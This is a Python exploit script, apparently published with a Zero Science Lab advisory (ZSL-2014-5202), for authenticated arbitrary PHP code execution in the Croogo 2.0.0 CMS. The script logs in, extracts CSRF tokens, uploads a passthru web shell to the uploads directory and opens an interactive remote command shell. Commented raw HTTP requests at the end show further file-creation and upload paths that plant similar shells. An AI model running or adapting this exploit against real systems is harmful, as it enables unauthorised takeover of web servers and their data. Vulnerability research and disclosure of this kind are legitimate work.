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369 | #!/usr/bin/env python
#
#
# Croogo 2.0.0 Arbitrary PHP Code Execution Exploit
#
#
# Vendor: Fahad Ibnay Heylaal
# Product web page: http://www.croogo.org
# Affected version: 2.0.0
#
# Summary: Croogo is a free, open source, content management system
# for PHP, released under The MIT License. It is powered by CakePHP
# MVC framework.
#
# Desc: Croogo suffers from an authenticated arbitrary PHP code
# execution. The vulnerability is caused due to the improper
# verification of uploaded files in '/admin/file_manager/attachments/add'
# script thru the 'data[Attachment][file]' POST parameter and in
# '/admin/file_manager/file_manager/upload' script thru the
# 'data[FileManager][file]' POST parameter. This can be exploited
# to execute arbitrary PHP code by uploading a malicious PHP script
# file that will be stored in '/webroot/uploads/' directory.
#
# Tested on: Apache/2.4.7 (Win32)
# PHP/5.5.6
# MySQL 5.6.14
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
# Macedonian Information Security Research And Development Laboratory
#
#
# Advisory ID: ZSL-2014-5202
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5202.php
#
# Vendor: http://blog.croogo.org/blog/croogo-210-released
#
#
# 26.07.2014
#
#
version = '5.0.0.251'
import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import logging, os, time, datetime, re
from colorama import Fore, Back, Style, init
from cStringIO import StringIO
from urllib2 import URLError
init()
if os.name == 'posix': os.system('clear')
if os.name == 'nt': os.system('cls')
piton = os.path.basename(sys.argv[0])
def bannerche():
print '''
@---------------------------------------------------------------@
| |
| Croogo 2.0.0 Arbitrary PHP Code Execution Exploit |
| |
| |
| ID: ZSL-2014-5202 |
| |
| Copyleft (c) 2014, Zero Science Lab |
| |
@---------------------------------------------------------------@
'''
if len(sys.argv) < 3:
print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname> <path>\n'
print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk croogo\n'
sys.exit()
bannerche()
print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET
host = sys.argv[1]
path = sys.argv[2]
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
try:
getcsrf = opener.open('http://'+host+'/'+path+'/admin/users/users/login')
csrf = getcsrf.read()
except urllib2.HTTPError, errorzio:
if errorzio.code == 404:
print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET
print
sys.exit()
except URLError, errorziocvaj:
if errorziocvaj.reason:
print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET
print
sys.exit()
print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET
token_key = re.search(r'\[key\]\" value=\"(.+?)\"', csrf).group(1)
print '\x20\x20[*] Retrieving login CSRF token '+'.'*27+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Login CSRF token: '+Fore.YELLOW+token_key+Fore.RESET
print '\x20\x20[*] Login please.'
username = raw_input('\x20\x20[*] Enter username: ')
password = raw_input('\x20\x20[*] Enter password: ')
login_data = urllib.urlencode({
'_method' : 'POST',
'data[User][password]' : password,
'data[User][remember]' : '0',
'data[User][username]' : username,
'data[_Token][fields]' : '93365ba06ce101995d3cd9c79cce968b12fb6ee5:',
'data[_Token][key]' : token_key,
'data[_Token][unlocked]' : ''
})
login = opener.open('http://'+host+'/'+path+'/admin/users/users/login', login_data)
auth = login.read()
for session in cj:
sessid = session.name
print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET
if re.search(r'Incorrect username or password', auth):
print '\x20\x20[*] Incorrect username or password '+'.'*24+Fore.RED+'[ER]'+Fore.RESET
print
sys.exit()
else:
print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET
getcsrfattach = opener.open('http://'+host+'/'+path+'/admin/file_manager/attachments/add')
csrfattach = getcsrfattach.read()
token_key2 = re.search(r'\[key\]\" value=\"(.+?)\"', csrfattach).group(1)
print '\x20\x20[*] Retrieving upload CSRF token '+'.'*26+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Upload CSRF token: '+Fore.YELLOW+token_key2+Fore.RESET
class MultiPartForm(object):
def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return
def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary
def add_field(self, name, value):
self.form_fields.append((name, value))
return
def add_file(self, fieldname, filename, fileHandle, mimetype=None):
body = fileHandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
return
def __str__(self):
parts = []
part_boundary = '--' + self.boundary
parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)
parts.extend(
[ part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % \
(field_name, filename),
'Content-Type: %s' % content_type,
'',
body,
]
for field_name, filename, content_type, body in self.files
)
flattened = list(itertools.chain(*parts))
flattened.append('--' + self.boundary + '--')
flattened.append('')
return '\r\n'.join(flattened)
if __name__ == '__main__':
form = MultiPartForm()
form.add_field('_method', 'POST')
form.add_field('data[_Token][key]', token_key2)
form.add_field('data[_Token][fields]', 'c0c3f5d102d9672429f5c571a5f45c34255a93a9%3A')
form.add_field('data[_Token][unlocked]', '')
form.add_file('data[Attachment][file]', 'zsl.php',
fileHandle=StringIO('<?php echo \"<pre>\"; passthru($_GET[\'cmd\']); echo \"</pre>\"; ?>'))
request = urllib2.Request('http://'+host+'/'+path+'/admin/file_manager/attachments/add')
request.add_header('User-agent', 'joxypoxy 5.0')
body = str(form)
request.add_header('Content-type', form.get_content_type())
request.add_header('Cookie', cookie)
request.add_header('Content-length', len(body))
request.add_data(body)
request.get_data()
urllib2.urlopen(request).read()
print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET
time.sleep(1)
furl = '/uploads/zsl.php'
#furl = '/webroot/uploads/zsl.php'
print
today = datetime.date.today()
fname = 'croogo-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'
logging.basicConfig(filename=fname,level=logging.DEBUG)
logging.info(' '+'+'*75)
logging.info(' +')
logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S'))
logging.info(' + Title: Croogo 2.0.0 Arbitrary PHP Code Execution Exploit')
logging.info(' + Python program executed: '+sys.argv[0])
logging.info(' + Version: '+version)
logging.info(' + Full query: \''+piton+'\x20'+host+'\'')
logging.info(' + Username input: '+username)
logging.info(' + Password input: '+password)
logging.info(' + Vector: '+'http://'+host+'/'+path+furl)
logging.info(' +')
logging.info(' + Advisory ID: ZSL-2014-5202')
logging.info(' + Zero Science Lab - http://www.zeroscience.mk')
logging.info(' +')
logging.info(' '+'+'*75+'\n')
print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET
raw_input()
while True:
try:
cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)
execute = opener.open('http://'+host+'/'+path+furl+'?cmd='+urllib.quote(cmd))
reverse = execute.read()
pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)
print Style.BRIGHT+Fore.CYAN
cmdout = pattern.match(reverse)
print cmdout.groups()[0].strip()
print Style.RESET_ALL+Fore.RESET
if cmd.strip() == 'exit':
break
logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')
except Exception:
break
logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG')
print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET
print
sys.exit()
#
## OTHER ##
#
#
# Arbitrary file creation any location:
#
# - http://localhost/croogo/admin/file_manager/file_manager/create_file?path=C%3A\xampp\htdocs\croogo\
#
#
# Arbitrary file upload any location:
# - http://localhost/croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5C
#
#
###########
#
# POST /croogo/admin/file_manager/file_manager/create_file?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://localhost/croogo/admin/file_manager/file_manager/create_file?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C
# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 229
#
# _method=POST&data%5B_Token%5D%5Bkey%5D=4f20867747cbff33951db804266494804e96bf89&data%5BFileManager%5D%5Bname%5D=shell2.php&data%5B_Token%5D%5Bfields%5D=4aeda1af05803a2ae8503d6033160c17d6335641%253A&data%5B_Token%5D%5Bunlocked%5D=
#
###########
#
# POST /croogo/admin/file_manager/file_manager/editfile?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5Cshell2.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://localhost/croogo/admin/file_manager/file_manager/editfile?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5Cshell2.php
# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 304
#
# _method=POST&data%5B_Token%5D%5Bkey%5D=5a6516e263eb6e5504e2266783b42cd08e3efe16&data%5BFileManager%5D%5Bcontent%5D=test%0D%0A%3C%3Fphp%0D%0Apassthru%28%24_GET%5B%27cmd%27%5D%29%3B%0D%0A%3F%3E%0D%0A&data%5B_Token%5D%5Bfields%5D=8f1bb3e7acda642ca69ee0430abba1f5ecd5f7a7%253A&data%5B_Token%5D%5Bunlocked%5D=
#
###########
#
# POST /croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://localhost/croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C
# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84
# Connection: keep-alive
# Content-Type: multipart/form-data; boundary=---------------------------25555888422431
# Content-Length: 779
#
# -----------------------------25555888422431
# Content-Disposition: form-data; name="_method"
#
# POST
# -----------------------------25555888422431
# Content-Disposition: form-data; name="data[_Token][key]"
#
# 0d940d3b3f4c80ea98b3e5588c337587f7c50d5e
# -----------------------------25555888422431
# Content-Disposition: form-data; name="data[FileManager][file]"; filename="exploit.php"
# Content-Type: application/octet-stream
#
# test
# <?php
# passthru($_GET['cmd']);
# ?>
#
# -----------------------------25555888422431
# Content-Disposition: form-data; name="data[_Token][fields]"
#
# 6f3f788048d33beefcc340fe281cf758e20ad329%3A
# -----------------------------25555888422431
# Content-Disposition: form-data; name="data[_Token][unlocked]"
#
#
# -----------------------------25555888422431--
#
#
|